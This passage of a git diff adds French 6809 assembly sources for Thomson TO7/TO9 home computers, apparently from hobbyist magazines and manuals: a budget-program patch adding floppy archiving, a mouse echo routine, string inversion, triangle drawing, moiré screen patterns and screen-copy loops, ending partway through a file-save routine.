+* Modification Budget famillial *
+* *
+* - arret page accueil par clic *
+* - arret par STOP au menu *
+* - archivage disquettes au lieu *
+* cassette *
+* *
+****************************************
+
+PUTC EQU $E803
+GETC EQU $E806
+LPIN EQU $E81B
+MENU EQU $E82D
+COMSLO EQU $EC03
+EXTRA EQU $EC0C
+
+FILNAM EQU $624F
+
+DOSBUF EQU $6300
+DOSFAT EQU $6300+256
+DOSFCB EQU $6300+256+(5*166)
+ZONE EQU $6300+256+(5*166)+283
+
+MESS EQU $B96
+
+MENUB EQU $6B
+
+ ORG $10
+ FCB $04
+ LDX #$0059
+ JMP >$0023
+
+ ORG $1A
+ FCB $1B
+
+ ORG $1D
+ FCB $11
+
+ ORG $65
+ JSR XINTRO
+ JMP >$6B
+
+ ORG $74
+ JSR XMENU
+
+ ORG $77
+ JSR XCHOIX
+ JMP >$82
+
+ ORG $1E7
+ JMP CZIDR
+
+ ORG $2EF
+ JMP OUINO1
+
+ ORG $31D
+ JMP OUINO2
+
+ ORG $771
+ JMP XARCHI
+
+ ORG $77E
+ JMP XCHARG
+
+ ORG $855
+ JMP OUINO3
+
+ ORG $D89
+ JMP OUINO4
+
+ ORG $13A5
+ FCB $20
+
+ ORG $13B3
+ FCC \HMEL93\
+
+ ORG $1538
+ FCB $04
+
+ ORG $1D56
+ FCB $1B,$46,$1B,$50,$1B,$4F
+ FCB $0C,$1F,$43,$47
+ FCC \*ARCHIVAGE*\
+ FCB $1B,$4C,$04
+
+ ORG $1D80
+ FCB $1B,$46,$1B,$50,$1B,$4F
+ FCB $0C,$1F,$43,$47
+ FCC \*CHARGEMENT*\
+ FCB $1B,$4C,$04
+
+ ORG $2000
+MCHOIX FCB $1B,$4C,$1F,$57,$4F
+ FCC \VOTRECHOIX(ouSTOP)?\
+ FCB $11,$04
+
+MSTOP FCB $1B,$4C,$1F,$57,$4F
+ FCC \ConfirmerSTOP(O/N)?\
+ FCB $11,$04
+
+MPSELD FCB $1F,$46,$4F,$04
+
+MPCZI FCB $1F,$4A,$45,$04
+
+MPDIRR FCB $1F,$47,$45,$04
+
+MFEX1 FCC \Effacement\
+ FCB $04
+
+MFEX2 FCC \(O/N)?\
+ FCB $04
+
+FILMEM FCC \\
+
+*=======================================
+
+XINTRO JSR GETC
+ TSTB
+ BNE FINTRO ->
+ JSR LPIN
+ BCC XINTRO ->
+
+*=======================================
+
+FINTRO CLR $E7E4
+ LDA $E7E6 autorise écritur
+ ORA #$40 cartouche
+ STA $E7E6
+
+ LDX #FILMEM
+ LDD #$2020
+ STD ,X++
+ STD ,X++
+ STD ,X++
+ STD ,X++
+ RTS
+
+*=======================================
+
+XMENU JSR MESS
+ LDX #MCHOIX
+ JMP MESS ->>
+
+*=======================================
+
+XCHOIX JSR GETC
+ CMPB #2
+ BEQ XSTOP ->
+ CMPB #'1
+ BLO XCHOIX ->
+ CMPB #'9
+ BHI XCHOIX ->
+ RTS ->>
+
+*=======================================
+
+XSTOP LDX #MSTOP
+ JSR MESS
+XSTOPC JSR GETC
+ CMPB #'N
+ BEQ NSTOP ->
+ CMPB #'n
+ BEQ NSTOP ->
+ CMPB #'O
+ BEQ OSTOP ->
+ CMPB #'o
+ BEQ OSTOP ->
+ BRA XSTOPC ->
+NSTOP LDX #MCHOIX
+ JSR MESS
+ BRA XCHOIX ->
+OSTOP JMP MENU --->>>>
+
+*=======================================
+
+OUINO1 ANDB #$DF
+ CMPB #'N
+ LBEQ $2F7 ->
+ CMPB #'O
+ LBEQ $2FC ->
+ LBRA $2EC ->
+
+*=======================================
+
+OUINO2 ANDB #$DF
+ CMPB #'N
+ LBEQ $325 ->
+ CMPB #'O
+ LBEQ $325 ->
+ LBRA $315 ->
+
+*=======================================
+
+OUINO3 ANDB #$DF
+ CMPB #'N
+ LBEQ $7FD ->
+ CMPB #'O
+ LBEQ $85D ->
+ LBRA $850 ->
+
+*=======================================
+
+OUINO4 ANDB #$DF
+ CMPB #'N
+ LBEQ $D94 ->
+ CMPB #'O
+ LBEQ $D91 ->
+ LBRA $D86 ->
+
+*=======================================
+
+CZIDR ANDB #$DF
+ CMPB #'D
+ LBEQ $1FD ->
+ CMPB #'R
+ LBEQ $1FD ->
+ LBRA $209 ->
+
+*=======================================
+
+XARCHI EQU *
+ LDX <$02
+ LDY #$A000
+COPZO1 LDA ,X+
+ STA ,Y+
+ CMPX #$6C35
+ BNE COPZO1 ->
+
+ JSR XEXTRA
+
+ LDX #$1D56
+ JSR MESS
+
+ LDX #MPSELD
+ JSR MESS
+
+XARCHB LDX #ZONE
+ LDY #100
+ LDA #3
+ LDU #$3FC7
+ JSR COMSLO
+
+ LDX #MPCZI
+ JSR MESS
+
+ LDX #FILMEM
+ LDY #FILNAM
+ LDB #8
+BCPN1 LDA ,X+
+ STA ,Y+
+ DECB
+ BNE BCPN1 ->
+
+ LDX #FILNAM+8
+ LDA #'B
+ STA ,X+
+ LDA #'U
+ STA ,X+
+ LDA #'D
+ STA ,X+
+ CLR ,X
+
+ LDX #ZONE
+ LDY #100
+ LDA #3
+ LDU #$3FC4
+ JSR COMSLO
+ TSTB
+ BNE ARCHF abandon ->
+
+ JSR CNFNEX
+ CMPB #'N
+ BEQ XARCHB fichier existe ->
+
+ LDA #$20 open output
+ STA $624B
+ LDA #3
+ STA $624C
+ CLR $624D
+ LDB #3
+ JSR EXTRA
+ TSTB
+ LBNE ERRF0 ->
+
+ LDX #$A000 put
+BARCHI LDA ,X
+ LDB #4
+ JSR EXTRA
+ TSTB
+ LBNE ERRF00 ->
+
+ LEAX 1,X
+ CMPX #$A835
+ BNE BARCHI ->
+
+ LDB #6 close
+ JSR EXTRA
+
+ARCHF JSR FEXTRA
+ JMP >MENUB
+
+*=======================================
+
+XCHARG JSR XEXTRA
+
+ LDX #$1D80
+ JSR MESS
+
+ LDX #MPSELD
+ JSR MESS
+
+ LDX #ZONE
+ LDY #100
+ LDA #3
+ LDU #$3FC7
+ JSR COMSLO
+
+ LDX #MPDIRR
+ JSR MESS
+
+ LDX #FILNAM
+ LDD #$0000
+ STD ,X++
+ STD ,X++
+ STD ,X++
+ STD ,X++
+ LDA #'B
+ STA ,X+
+ LDA #'U
+ STA ,X+
+ LDA #'D
+ STA ,X+
+
+ LDX #ZONE
+ LDY #1700
+ LDA #3
+ LDU #$3FC1
+ JSR COMSLO DIRR
+ CMPB #62
+ LBEQ FCHARG ->
+ TSTB
+ BNE ERRF0 ->
+
+ LDX #FILNAM
+ LDY #FILMEM
+ LDB #8
+BCPN2 LDA ,X+
+ STA ,Y+
+ DECB
+ BNE BCPN2 ->
+
+ LDA #$10 open input
+ STA $624B
+ LDB #3
+ JSR EXTRA
+ TSTB
+ BNE ERRF0 ->
+
+ LDX #$A000
+BCHARG LDB #5 input
+ JSR EXTRA
+ TSTB
+ BNE ERRF00 ->
+ TST $6178
+ BNE FCHAR0 ->
+ LDA $6196
+ STA ,X+
+ CMPX #$A835
+ BNE BCHARG ->
+
+FCHAR0 LDB #6 close
+ JSR EXTRA
+
+ JSR FEXTRA
+
+ LDX <$02
+ LDY #$A000
+COPZO2 LDA ,Y+
+ STA ,X+
+ CMPX #$6C35
+ BNE COPZO2 ->
+
+ JMP >MENUB ->
+
+ERRF00 PSHS B
+ LDB #6 close
+ JSR EXTRA
+ PULS B
+ERRF0 EQU *
+ JSR DOSERR
+FCHARG JSR FEXTRA
+ JMP >MENUB
+
+*=======================================
+
+CNFNEX EQU *
+ LDA #$10 essai open input
+ STA $624B
+ LDB #3
+ JSR EXTRA
+ TSTB
+ BEQ CNFSUP ->
+ LDB #'O non existe
+ BRA OCNFSU ->
+
+CNFSUP LDB #6 close
+ JSR EXTRA
+
+ JSR BOITE
+
+ LDX #MFEX1
+ JSR MESS
+
+ LDX #FILNAM
+ LDA FILNAM+8
+ PSHS A
+ LDA #4
+ STA FILNAM+8
+ JSR MESS
+ PULS A
+ STA FILNAM+8
+
+ LDB #'.
+ JSR PUTC
+
+ LDX #FILNAM+8
+ LDA FILNAM+11
+ PSHS A
+ LDA #4
+ STA FILNAM+11
+ JSR MESS
+ PULS A
+ STA FILNAM+11
+
+ LDX #MFEX2
+ JSR MESS
+
+XCNFSU JSR GETC
+ ANDB #$DF
+ CMPB #'N
+ BEQ OCNFSU ->
+ CMPB #'O
+ BNE XCNFSU ->
+ JSR PUTC
+
+ LDB #14 kill
+ JSR EXTRA
+OCNFSU RTS
+
+*=======================================
+
+DOSERR EQU *
+ JSR BOITE
+
+ TFR B,A
+ LDX #ZONE
+ LDB #20
+ JSR EXTRA ERRMSG
+
+DOER0 LDB ,X+
+ BEQ DOER1 ->
+ JSR PUTC
+ BRA DOER0 ->
+
+DOER1 JSR GETC
+ TSTB
+ BNE DOER2 ->
+ JSR LPIN
+ BCC DOER1 ->
+DOER2 RTS
+
+*=======================================
+
+BOITE EQU *
+ PSHS D,X,Y,U
+ LDX #0
+ STX $61A1
+ LDX #319
+ LDY #8*11
+ STY $61A3
+ LDY #8*14
+ LDA #$FF
+ STA $61EF
+ LDU #ZONE
+ LDD #0
+ STD ,U++
+ STD ,U++
+ STD ,U++
+ STD ,U++
+ STU $627D
+ LDB #27
+ JSR EXTRA BOX
+
+ LDB #$1F
+ JSR PUTC
+ LDB #$40+12
+ JSR PUTC
+ LDB #$41+1
+ JSR PUTC
+ PULS D,X,Y,U,PC
+
+*=======================================
+
+XEXTRA LDX #$6100
+ LDY #SAUVP0
+BSAUV LDD ,X++
+ STD ,Y++
+ CMPX #$7000
+ BNE BSAUV ->
+
+ CLRB reset extra
+ JSR EXTRA
+
+ LDD #0
+ STD $61A5
+ STD $61A7
+ LDD #319
+ STD $61A9
+ LDD #199
+ STD $61AB
+
+ CLR $61A0
+ CLR $6041
+ LDA #7
+ STA $619F
+ CLR $6288
+ LDB #28
+ JSR EXTRA CHOIX
+
+ LDD #DOSBUF
+ STD $6197
+ LDD #DOSFAT
+ STD $6199
+ LDX #DOSFCB
+ LDA #1
+ LDY #5
+ LDB #2
+ JSR EXTRA FCBINI
+ RTS
+
+*=======================================
+
+FEXTRA LDX #$6100
+ LDY #SAUVP0
+BREST LDD ,Y++
+ STD ,X++
+ CMPX #$7000
+ BNE BREST ->
+ RTS
+
+SAUVP0 EQU *
+ END
diff --git a/code/3rdparty/sources4-divers/Contacthoms/ECHOCAR.ASM b/code/3rdparty/sources4-divers/Contacthoms/ECHOCAR.ASM
new file mode 100644
index 0000000..9d007fb
--- /dev/null
+++ b/code/3rdparty/sources4-divers/Contacthoms/ECHOCAR.ASM
@@ -0,0 +1,147 @@
+****************************************
+* *
+* ECHOCAR.ASM *
+* *
+* Contacthoms No 13 page 10 *
+* *
+*--------------------------------------*
+* *
+* Programme en assembleur pour avoir *
+* l'écho de la souris à l'écran. *
+* *
+****************************************
+
+ TITLE ECHO DU CARACTERE
+
+GETL EQU $E818 Acq. coor. X,Y
+SELMEM EQU $E7C3 Select. for/color
+NBCOL EQU $605F 40 ou 80 colonnes
+MEMECR EQU $4000 Adr deb mem écran
+*
+*
+*
+ ORG $DF00
+ECHO00 EQU *
+ PSHS X,Y,U,D
+*
+* Acquisition coordonnées point visé
+*
+ECHO10 EQU *
+ JSR GETL
+ BCS ECHO99
+*
+* Le point visé est-il le même ?
+*
+ TFR Y,D
+ ANDB #$F8
+ PSHS D
+ TFR X,D
+ ANDB #$F8
+ PSHS D
+ CMPD XPREC,PCR
+ BNE ECHO20 NON: inverse
+ LDD 2,S
+ CMPD YPREC,PCR
+ BNE ECHO20 NON: inv mm point
+ LEAS 4,S
+ BRA ECHO10 Attend changement
+*
+* Remise point prec en vidéo normal
+*
+ECHO20 EQU *
+ LDX XPREC,PCR
+ BMI ECHO30 Première fois
+ LDY YPREC,PCR
+ BSR INVERS
+*
+* Met le point en vidéo inverse
+*
+ECHO30 EQU *
+ LDX 0,S
+ STX XPREC,PCR
+ LDY 2,S
+ STY YPREC,PCR
+ BSR INVERS
+ LEAS 4,S
+ECHO99 EQU *
+ PULS X,Y,U,D,PC
+*
+* Met un caractère en vidéo inverse
+*
+* Entrée x,y coordonnées point
+* du début du caractère.
+*
+INVERS EQU *
+ PSHS X,Y,U,D
+*
+* Calcul adresse début du caractère
+* dans écran.
+*
+ LDU #MEMECR
+ TFR Y,D
+ LDA #40
+ MUL
+ LEAU D,U
+ TFR X,D
+ LSRA
+ RORB
+ LSRA
+ RORB
+ LSRB
+ LDA #01
+ ORA >SELMEM Force plan forme
+ TST NBCOL 40 ou 80 colonnes
+ BPL INVE20
+ LSRB
+ BCC INVE20 Pair-->forme
+ LDA #$FE 80 col mais col
+ ANDA >SELMEM Impair-->couleur
+INVE20 EQU *
+ LEAU B,U U=adr deb caract
+ STA >SELMEM
+*
+* Met le caractère en vidéo inverse
+*
+ LDA #8
+INVE70 EQU *
+ COM ,U
+ LEAU 40,U
+ DECA
+ BNE INVE70
+*
+* Fin
+*
+INVE99 EQU *
+ PULS X,Y,U,D,PC
+*
+*
+XPREC FDB -1
+YPREC FDB -1
+ END
+
+****************************************
+* *
+* PROGRAMME BASIC D'ACCOMPAGNEMENT: *
+* *
+* 10 BANK0:CLEAR,&HDFEF *
+* 20 LOADM"ECHOCAR.BIN" *
+* 30 CLS:LOCATE0,0,0 *
+* 40 ATTRB1:PRINT"EN 40 COLONNES" *
+* 50 GOSUB 100 *
+* 60 CONSOLE,,,,1 *
+* 70 ATTRB1:PRINT"EN 80 COLONNES" *
+* 80 GOSUB 100 *
+* 90 CONSOLE,,,,0:SCREEN4,6,6:END *
+* 100 BANK0 *
+* 110 DO *
+* 120 EXEC &HDF00 *
+* 130 IF MTRIG(0) THEN EXIT *
+* 140 LOOP *
+* 150 IF MTRIG(0) THEN 150 *
+* 160 RETURN *
+* *
+****************************************
+
+* Un appui (prolongé !) sur le bouton
+* gauche de la souris vous fait passer
+* en 80 colonnes.
diff --git a/code/3rdparty/sources4-divers/Contacthoms/INVERSE.ASM b/code/3rdparty/sources4-divers/Contacthoms/INVERSE.ASM
new file mode 100644
index 0000000..0f5603a
--- /dev/null
+++ b/code/3rdparty/sources4-divers/Contacthoms/INVERSE.ASM
@@ -0,0 +1,38 @@
+*
+* SOUS-PROGRAMME ASSEMBLEUR
+* POUR INVERSION D'UNE CHAINE DE
+* DE CARACTERES
+*
+* CLUB CONTACTHOMS No 15 page 14
+* Jérome THOEN (c) 1993
+*
+
+ ORG $9000
+MAXCAR EQU 255 long maxi chaîne
+
+ENTREE PSHS A,B,Y,U,CC
+ CMPA #3
+ BNE SORTIE sortie si
+ LDU 1,X pas chaîne
+ TSTB sortie si
+ BEQ SORTIE longueur nulle
+ LDU 1,X adr chaîne A
+* inverser -> U
+ TFR B,A longueur -> A
+ PSHS X sauvegarde X
+ LDX #CHAINE adr fin chaîne
+ ABX inversée -> X
+* inversée et copie
+CSUIV LDB ,U+ chaîne dans
+ STB ,-X buffer 'CHAINE'
+ DECA teste fin
+ BNE CSUIV de chaîne
+ PULS X recharge X
+ LDD #CHAINE nouvelle adr
+ STD 1,X -> descripteur
+SORTIE PULS A,B,Y,U,CC,PC
+
+CHAINE RMB MAXCAR reserve place
+* pour chaîne
+* inversée
+ END
diff --git a/code/3rdparty/sources4-divers/ETOILE.ASM b/code/3rdparty/sources4-divers/ETOILE.ASM
new file mode 100644
index 0000000..cf16057
--- /dev/null
+++ b/code/3rdparty/sources4-divers/ETOILE.ASM
@@ -0,0 +1,94 @@
+*
+* ETOILE.ASM routine DRAWH
+*
+* Passez facilement du BASIC au
+* langage machine des TO7(70),TO9
+* Programme No XVIII pages 123-129
+*
+* =====================================
+*
+* Dessin de deux triangles inversés qui
+* se croisent.
+*
+* -------------------------------------
+*
+* ATTENTION SUR TO7, FAIRE PRECEDER
+* L'APPEL A DRAWH DE PDHS U, ET LE
+* FAIRE SUIVRE DE PULS U.
+*
+
+PUTCH EQU $E803 Affiche caractère
+CHDRAW EQU $6041 Cod ASCI car. des.
+FORME EQU $6038 Code de la couleur
+PLOTX EQU $603D Abscis. der. point
+PLOTY EQU $603F Ordonné der. point
+DRAWH EQU $E80C Tracé de segment
+
+
+ ORG $7D00 Soit 32000
+
+ PSHS U,Y,X,DP,D,CC
+ LDU #TABLE Ecran
+D0 LDB ,U+
+ CMPB #4
+ BEQ SUITE
+ JSR PUTCH
+ BRA D0
+SUITE CLRA
+ STA CHDRAW
+ LDA #4 Bleu
+ STA FORME
+ JSR A1 1er triangle
+ LDA #1 Rouge
+ STA FORME
+ JSR A2 2nd triangle
+ JSR COMPT Temporisation
+ LDA #$FC Fond jaune
+ STA FORME
+ JSR A1 Eff. 1er triangle
+ JSR A2 Eff. 2nd triangle
+ BRA FIN
+A1 LDX #&160
+ STX PLOTX
+ LDY #&96
+ STY PLOTY
+ LDU #TABLE1 .Coordonnées
+D1 LDX ,U++ .du 1er
+ LDY ,U++ .triangle
+ JSR DRAWH .le dessiner
+ CMPX #&160 Fin table 1
+ BEQ RET
+ BRA D1
+A2 LDX #&160
+ STX PLOTX
+ LDY #&136
+ STY PLOTY
+ LDU #TABLE2 .Coordonnées
+D2 LDX ,U++ .du 2nd
+ LDY ,U++ .triangle
+ JSR DRAWH .le dessiner
+ CMPX #&160 Fin table 2
+ BEQ RET
+ BRA D2
+COMPT CLRB B=0
+ LEAU 1,U Plac.pile U
+D3 PSHU B Sauv. B
+ CLRA A=0
+ CLRB B=0
+D4 ADDD #1 D=D+1
+ CMPD #$FFFF .D=$FFFF?
+ BNE D4 .Non->D4
+ PULU B .Oui, sortir B
+ INCB B=B+1
+ CMPB #10 .B=10?
+ BEQ RET .Oui=retour
+ BRA D3 .Sinon D3
+RET RTS Fin s/s prog.
+FIN PULS CC,D,DP,X,Y,U
+ SWI
+TABLE FCB $1B,$23,$20,$53,$4
+TABLE1 FDB 208,96,184
+ FDB 144,160,96
+TABLE2 FDB 184,88,208
+ FDB 136,160,136
+ END
diff --git a/code/3rdparty/sources4-divers/MIMP.ASM b/code/3rdparty/sources4-divers/MIMP.ASM
new file mode 100644
index 0000000..fba5d45
--- /dev/null
+++ b/code/3rdparty/sources4-divers/MIMP.ASM
@@ -0,0 +1,69 @@
+ ORG $A000
+
+ LDA #&64
+ STA $602B
+ JSR $E812
+ LDX #$A000
+ STX $9033
+BCL4 LDA #&08
+ STA $602B
+ LDB #&27
+ JSR $E812
+ LDB #&71
+ JSR $E812
+ LDB #&57
+ JSR $E812
+ LDB #&54
+ JSR $E812
+ LDB #&48
+ JSR $E812
+ LDX $9033
+ LEAX $78,X
+ STX $9037
+BCL3 LDX $9033
+ LEAX $3C0,X
+ STX $9035
+ LDA #$80
+ STA $9032
+BCL2 LDX $9033
+ LDA #$01
+ STA $9031
+ CLR $9030
+BCL1 LDA ,X
+ ANDA $9032
+ CMPA $9032
+ BNE J1
+ LDB $9031
+ ADDB $9030
+ STB $9030
+J1 LEAX $78,X
+ LDB $9031
+ LDA #$02
+ MUL
+ STB $9031
+ CMPX $9035
+ BNE BCL1
+ LDB $9030
+ JSR $E812
+ LDA $9032
+ LSRA
+ STA $9032
+ CMPA #$00
+ BNE BCL2
+ LDX $9033
+ LEAX $01,X
+ STX $9033
+ CMPX $9037
+ BNE BCL3
+ LDB #&10
+ JSR $E812
+ LDX $9033
+ LEAX $348,X
+ STX $9033
+ CMPX #$DC00
+ LBNE BCL4
+ LDA #&16
+ STA $602B
+ JSR $E812
+ RTS
+ END
diff --git a/code/3rdparty/sources4-divers/MOIRAGE.ASM b/code/3rdparty/sources4-divers/MOIRAGE.ASM
new file mode 100644
index 0000000..f030d6d
--- /dev/null
+++ b/code/3rdparty/sources4-divers/MOIRAGE.ASM
@@ -0,0 +1,65 @@
+
+
+
+****************************************
+* *
+* M O I R A G E *
+* *
+****************************************
+* *
+* Programme de moirage de la mémoire *
+* point. *
+*--------------------------------------*
+* *
+* Manuel de l'assembleur 6809 *
+* du TO7/TO7-70 page 24 *
+* *
+****************************************
+
+INIT EQU $E800 Initialisation
+PORTC EQU $E7C3
+STADR EQU $4000 Début de l'écran
+ENDADR EQU $5F40 Fin de l'écran + 1
+
+*--------------------------------------*
+
+
+ ORG ENDMEM-$400 1K Réserve
+
+DIRECT EQU *<-8 Page 0
+ SETDP DIRECT
+* TITLE Balayage Ecran
+* INCLUD EQUATES Fichier contenant
+* les principales adresses d'entrée du
+* Moniteur TO7
+ PAGE
+START PSHS A,B,X,Y,U,DP Sauvegarde
+ JSR INIT Initialisation
+ LDA #DIRECT Page 0
+ TFR A,DP
+ LDA PORTC Mise en mémoire
+* points:Par mise à 1 du bit 0 du port C
+ ORA #1
+ STA PORTC
+ LDX #STADR Adresse de début
+* de l'écran
+M2 LDY #20 Compteur colonne:
+* On affiche 20 fois 2 octets, soit
+* 40 octets par ligne
+ LDD #$5555 Moirage
+* Alternance de 1 et de 0 sur la ligne
+M0 STD ,X++ Charger l'écran
+ LEAY -1,Y
+ BNE M0 Répète 20 fois
+ LDY #20 Ligne suivante
+ LDD #$AAAA Le motif est inver
+* se pour décaler les 1 et les 0 d'une
+* ligne à l'autre et obtenir un moirage
+M1 STD ,X++
+ LEAY -1,Y
+ BNE M1 Toujours 20 fois
+ CMPX #ENDADR Fin d'écran
+ BLS M2 Sinon on recom
+* mence 2 lignes à motifs alternés
+ SWI Retour au moniteur
+ END START
diff --git a/code/3rdparty/sources4-divers/MOIRAGE2.ASM b/code/3rdparty/sources4-divers/MOIRAGE2.ASM
new file mode 100644
index 0000000..422cc65
--- /dev/null
+++ b/code/3rdparty/sources4-divers/MOIRAGE2.ASM
@@ -0,0 +1,65 @@
+
+
+
+****************************************
+* *
+* M O I R A G E *
+* *
+****************************************
+* *
+* Programme de moirage de la mémoire *
+* point. *
+*--------------------------------------*
+* *
+* Manuel de l'assembleur 6809 *
+* du TO7/TO7-70 page 24 *
+* *
+****************************************
+
+INIT EQU $E800 Initialisation
+PORTC EQU $E7C3
+STADR EQU $4000 Début de l'écran
+ENDADR EQU $5F40 Fin de l'écran + 1
+
+*--------------------------------------*
+
+
+ ORG ENDMEM-$400 1K Réserve
+
+DIRECT EQU *<-8 Page 0
+ SETDP DIRECT
+* TITLE Balayage Ecran
+* INCLUD EQUATES Fichier contenant
+* les principales adresses d'entrée du
+* Moniteur TO7
+ PAGE
+START PSHS A,B,X,Y,U,DP Sauvegarde
+ JSR INIT Initialisation
+ LDA #DIRECT Page 0
+ TFR A,DP
+ LDA PORTC Mise en mémoire
+* points:Par mise à 1 du bit 0 du port C
+ ORA #1
+ STA PORTC
+ LDX #STADR Adresse de début
+* de l'écran
+M2 LDY #20 Compteur colonne:
+* On affiche 20 fois 2 octets, soit
+* 40 octets par ligne
+ LDD #$FFFF Moirage
+* Alternance de 1 et de 0 sur la ligne
+M0 STD ,X++ Charger l'écran
+ LEAY -1,Y
+ BNE M0 Répète 20 fois
+ LDY #20 Ligne suivante
+ LDD #$0000 Le motif est inver
+* se pour décaler les 1 et les 0 d'une
+* ligne à l'autre et obtenir un moirage
+M1 STD ,X++
+ LEAY -1,Y
+ BNE M1 Toujours 20 fois
+ CMPX #ENDADR Fin d'écran
+ BLS M2 Sinon on recom
+* mence 2 lignes à motifs alternés
+ SWI Retour au moniteur
+ END START
diff --git a/code/3rdparty/sources4-divers/MOIRAGE3.ASM b/code/3rdparty/sources4-divers/MOIRAGE3.ASM
new file mode 100644
index 0000000..b22d88e
--- /dev/null
+++ b/code/3rdparty/sources4-divers/MOIRAGE3.ASM
@@ -0,0 +1,65 @@
+
+
+
+****************************************
+* *
+* M O I R A G E *
+* *
+****************************************
+* *
+* Programme de moirage de la mémoire *
+* point. *
+*--------------------------------------*
+* *
+* Manuel de l'assembleur 6809 *
+* du TO7/TO7-70 page 24 *
+* *
+****************************************
+
+INIT EQU $E800 Initialisation
+PORTC EQU $E7C3
+STADR EQU $4000 Début de l'écran
+ENDADR EQU $5F40 Fin de l'écran + 1
+
+*--------------------------------------*
+
+
+ ORG ENDMEM-$400 1K Réserve
+
+DIRECT EQU *<-8 Page 0
+ SETDP DIRECT
+* TITLE Balayage Ecran
+* INCLUD EQUATES Fichier contenant
+* les principales adresses d'entrée du
+* Moniteur TO7
+ PAGE
+START PSHS A,B,X,Y,U,DP Sauvegarde
+ JSR INIT Initialisation
+ LDA #DIRECT Page 0
+ TFR A,DP
+ LDA PORTC Mise en mémoire
+* points:Par mise à 1 du bit 0 du port C
+ ORA #1
+ STA PORTC
+ LDX #STADR Adresse de début
+* de l'écran
+M2 LDY #20 Compteur colonne:
+* On affiche 20 fois 2 octets, soit
+* 40 octets par ligne
+ LDD #$00FF Moirage
+* Alternance de 1 et de 0 sur la ligne
+M0 STD ,X++ Charger l'écran
+ LEAY -1,Y
+ BNE M0 Répète 20 fois
+ LDY #20 Ligne suivante
+ LDD #$FF00 Le motif est inver
+* se pour décaler les 1 et les 0 d'une
+* ligne à l'autre et obtenir un moirage
+M1 STD ,X++
+ LEAY -1,Y
+ BNE M1 Toujours 20 fois
+ CMPX #ENDADR Fin d'écran
+ BLS M2 Sinon on recom
+* mence 2 lignes à motifs alternés
+ SWI Retour au moniteur
+ END START
diff --git a/code/3rdparty/sources4-divers/MOIRAGE4.ASM b/code/3rdparty/sources4-divers/MOIRAGE4.ASM
new file mode 100755
index 0000000..14a5969
--- /dev/null
+++ b/code/3rdparty/sources4-divers/MOIRAGE4.ASM
@@ -0,0 +1,65 @@
+
+
+
+****************************************
+* *
+* M O I R A G E *
+* *
+****************************************
+* *
+* Programme de moirage de la mémoire *
+* point. *
+*--------------------------------------*
+* *
+* Manuel de l'assembleur 6809 *
+* du TO7/TO7-70 page 24 *
+* *
+****************************************
+
+INIT EQU $E800 Initialisation
+PORTC EQU $E7C3
+STADR EQU $4000 Début de l'écran
+ENDADR EQU $5F40 Fin de l'écran + 1
+
+*--------------------------------------*
+
+
+ ORG ENDMEM-$400 1K Réserve
+
+DIRECT EQU *<-8 Page 0
+ SETDP DIRECT
+* TITLE Balayage Ecran
+* INCLUD EQUATES Fichier contenant
+* les principales adresses d'entrée du
+* Moniteur TO7
+ PAGE
+START PSHS A,B,X,Y,U,DP Sauvegarde
+ JSR INIT Initialisation
+ LDA #DIRECT Page 0
+ TFR A,DP
+ LDA PORTC Mise en mémoire
+* points:Par mise à 1 du bit 0 du port C
+ ORA #1
+ STA PORTC
+ LDX #STADR Adresse de début
+* de l'écran
+M2 LDY #20 Compteur colonne:
+* On affiche 20 fois 2 octets, soit
+* 40 octets par ligne
+ LDD #$3333 Moirage
+* Alternance de 1 et de 0 sur la ligne
+M0 STD ,X++ Charger l'écran
+ LEAY -1,Y
+ BNE M0 Répète 20 fois
+ LDY #20 Ligne suivante
+ LDD #$CCCC Le motif est inver
+* se pour décaler les 1 et les 0 d'une
+* ligne à l'autre et obtenir un moirage
+M1 STD ,X++
+ LEAY -1,Y
+ BNE M1 Toujours 20 fois
+ CMPX #ENDADR Fin d'écran
+ BLS M2 Sinon on recom
+* mence 2 lignes à motifs alternés
+ SWI Retour au moniteur
+ END START
diff --git a/code/3rdparty/sources4-divers/MR3.ASM b/code/3rdparty/sources4-divers/MR3.ASM
new file mode 100644
index 0000000..861cf41
--- /dev/null
+++ b/code/3rdparty/sources4-divers/MR3.ASM
@@ -0,0 +1,30 @@
+ ORG $A000
+
+ LDY $9003
+ STY $9007
+ LDX #$4640
+ LDD $9009
+ LEAX D,X
+ STX $9005
+ LDD #$28
+ LEAX D,X
+ STX $900B
+ LDX $9005
+BCL CLRA
+AFF LDB ,Y
+ STB ,X
+ LEAY $78,Y
+ LEAX $28,X
+ INCA
+ CMPA #$40
+ BNE AFF
+ LDX $9005
+ LEAX 1,X
+ STX $9005
+ LDY $9007
+ LEAY 1,Y
+ STY $9007
+ CMPX $900B
+ BNE BCL
+ RTS
+ END
diff --git a/code/3rdparty/sources4-divers/MR4.ASM b/code/3rdparty/sources4-divers/MR4.ASM
new file mode 100644
index 0000000..5bb166a
--- /dev/null
+++ b/code/3rdparty/sources4-divers/MR4.ASM
@@ -0,0 +1,31 @@
+ ORG $A000
+
+ LDY $9003
+ LEAY $27,Y
+ STY $9007
+ LDX #$4667
+ LDD $9009
+ LEAX D,X
+ STX $9005
+ LDD #-$28
+ LEAX D,X
+ STX $900B
+ LDX $9005
+BCL CLRA
+AFF LDB ,Y
+ STB ,X
+ LEAY $78,Y
+ LEAX $28,X
+ INCA
+ CMPA #$40
+ BNE AFF
+ LDX $9005
+ LEAX -1,X
+ STX $9005
+ LDY $9007
+ LEAY -1,Y
+ STY $9007
+ CMPX $900B
+ BNE BCL
+ RTS
+ END
diff --git a/code/3rdparty/sources4-divers/Micronews/ECRIT.ASM b/code/3rdparty/sources4-divers/Micronews/ECRIT.ASM
new file mode 100644
index 0000000..6409d82
--- /dev/null
+++ b/code/3rdparty/sources4-divers/Micronews/ECRIT.ASM
@@ -0,0 +1,93 @@
+*
+* ECRIT.ASM / ROUTINE SAVE
+*
+* GESTION D'IMAGES (C) A. PUKALL
+* MICRONEWS No 46 page 28
+*
+
+PRC EQU $E7C3 Données port C
+EXTRA EQU $EC0C Appel extramonit.
+DKDRV EQU $6049 No du disk choisi
+FILMOD EQU $624B Mode fichier(OPEN)
+FILTYP EQU $624C Type de fichier:
+* 0=BASIC programme
+* 1=BASIC data file
+* 2=Langage machine
+ASCFLG EQU $624D Flag ASCI:
+* 00=fichier BIN
+* FF=fichier ASCI
+FILNAM EQU $624F Buf nom de fichier
+* 8 car H624F->H6256
+FILEXT EQU $6257 Buf ext nom fic.
+* 3 car H6257->H6259
+OPTBUF EQU $625A Buf commentaire
+* 8 car H625A->H6261
+
+ ORG $71BA
+
+ JSR INIT
+ LDB #3
+ JSR EXTRA
+ JSR DEBUT
+ RTS
+INIT LDA #0 No lecteur:"0:"
